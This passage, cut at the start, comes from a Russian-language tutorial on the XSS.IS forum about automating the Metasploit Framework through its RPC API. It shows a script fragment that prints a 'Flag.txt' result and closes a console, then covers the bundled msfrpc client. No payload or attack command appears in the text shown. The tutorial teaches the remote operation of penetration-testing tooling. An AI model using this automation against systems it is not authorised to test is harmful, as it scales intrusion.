    print("-----Flag. txt:")
    print(client.console_read(console_id)['data'])

Ну и после вывода консоль нам более не понадобится, так что закрываем ее через метод console_destroy, передав туда наш айдишник.
Python: Скопировать в буфер обмена
client.console_destroy(console_id)

На этом скрипт готов, давайте запустим его и посмотрим что получится.
И вот такой вот вывод мы получаем:
1727057927784.png


Как видим - все отработало как и ожидалось.

Готовый RPC-клиент от метасплоита

После того, как мы с вами рассмотрели написание собственного кода для удаленного управления и автоматизации действий в metasploit framework, предлагаю посмотреть на готовый RPC-клиент, который уже входит в состав фреймворка.
Этот клиент по сути представляет собой отдельный инструмент для работы c методами RPC-api через специальную консоль. Отличие от обычной консоли заключается в том, что мы работаем именно с методами PRC, вызывая их примерно так-же как мы это делали в коде. Давайте посмотрим поподробнее.
После того, как вы запустили RPC-сервер, вы можете запустить клиент через пакет msfrpc, который так же поставялется в составе фреймворка. Выглядит это так:

1727058078337.png



После этого вы увидите консоль, с приветственным значением в виде “>>”. Здесь вы можете вызывать команды из стандартного клиента. Взаимодействие с клиентом апи здесь выглядит примерно так-же как и в коде - через обьект rpc, который по сути и является клиентом, и его методы вы моожете обращаться к серверу, передавая команды. Например, используем rpc.call для вызова функции с получением версии фреймворка. Когда вы начнете вводить команду, то увидите что в здесь присутствует и автокомплит (с выбором команды через tab и подсветкой некоторых элементов кода, все как положено):

1727058106404.png


Вызов же выглядит тоже довольно интуитивно понятно:

1727058118904.png


Вообще, данный клиент не особо хорошо подходит для управления или чего-то такого, но может быть очень полезен при разработке собственных решений, так как позволяет поиграться с api, понять структуру запросов и ответов именно в вашем случае и в целом посмотреть как это все работает именно у вас.

Заключение

Ну а я на этой ноте буду заканчивать свою статью. Здесь мы с вами узнали как использовать metasploit framework удаленно и автоматизировать дейсвтия используя его RPC-API. Надеюсь вы почерпнули для себя что-то новое, освежили хорошо забытое старое ну или вам просто было интересно почитать) В следующей статье из этого цикла, которую я уже скоро выложу, мы с вами разберем логическое развитие этого RPC-api в JSON-API, и посмотрим как работать уже с ним. Ну и попутно зацепим пару фишек фреймоврка, касающихся удаленного взаимодействия с ним. До скорой встречи !

©Urob0ros специально для форума XSS.IS
 
Сверху Снизу